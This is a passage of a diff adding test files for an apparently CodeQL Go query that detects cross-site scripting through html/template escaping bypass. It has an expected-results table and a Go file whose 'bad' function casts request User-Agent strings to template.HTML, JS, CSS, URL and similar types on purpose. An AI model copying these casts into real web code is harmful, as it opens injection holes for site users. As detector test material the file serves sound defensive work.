+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src |
+| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
+#select
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | converted |
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
new file mode 100644
index 00000000000..f001bc93138
--- /dev/null
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
@@ -0,0 +1,93 @@
+package main
+
+import (
+ "html/template"
+ "net/http"
+ "os"
+)
+
+func main() {}
+
+func checkError(err error) {
+ if err != nil {
+ panic(err)
+ }
+}
+
+type HTMLAlias = template.HTML
+
+// bad is an example of a bad implementation
+func bad(req *http.Request) {
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
+ tmplTag, _ := template.New("test").Parse(`Hi \n`)
+ tmplScript, _ := template.New("test").Parse(``)
+ tmplSrcset, _ := template.New("test").Parse(`
`)
+
+ {
+ {
+ var a = template.HTML(req.UserAgent())
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ {
+ var a template.HTML
+ a = template.HTML(req.UserAgent())
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ var a HTMLAlias
+ a = HTMLAlias(req.UserAgent())
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ }
+ }
+ {
+ var c = template.HTMLAttr(req.UserAgent())
+ checkError(tmplTag.Execute(os.Stdout, c))
+ }
+ {
+ var d = template.JS(req.UserAgent())
+ checkError(tmplScript.Execute(os.Stdout, d))
+ }
+ {
+ var e = template.JSStr(req.UserAgent())
+ checkError(tmplScript.Execute(os.Stdout, e))
+ }
+ {
+ var b = template.CSS(req.UserAgent())
+ checkError(tmpl.Execute(os.Stdout, b))
+ }
+ {
+ var f = template.Srcset(req.UserAgent())
+ checkError(tmplSrcset.Execute(os.Stdout, f))
+ }
+ {
+ var g = template.URL(req.UserAgent())
+ checkError(tmpl.Execute(os.Stdout, g))
+ }
+}
+
+// good is an example of a good implementation
+func good(req *http.Request) {
+ tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
+ { // This will be escaped, so it shoud NOT be caught:
+ var escaped = req.UserAgent()
+ checkError(tmpl.Execute(os.Stdout, escaped))
+ }
+ {
+ // The converted source value does NOT flow to tmpl.Exec,
+ // so this should NOT be caught.
+ src := req.UserAgent()
+ converted := template.HTML(src)
+ _ = converted
+ checkError(tmpl.Execute(os.Stdout, src))
+ }
+ {
+ // The untrusted input is sanitized before use.
+ tmpl, _ := template.New("test").Parse(`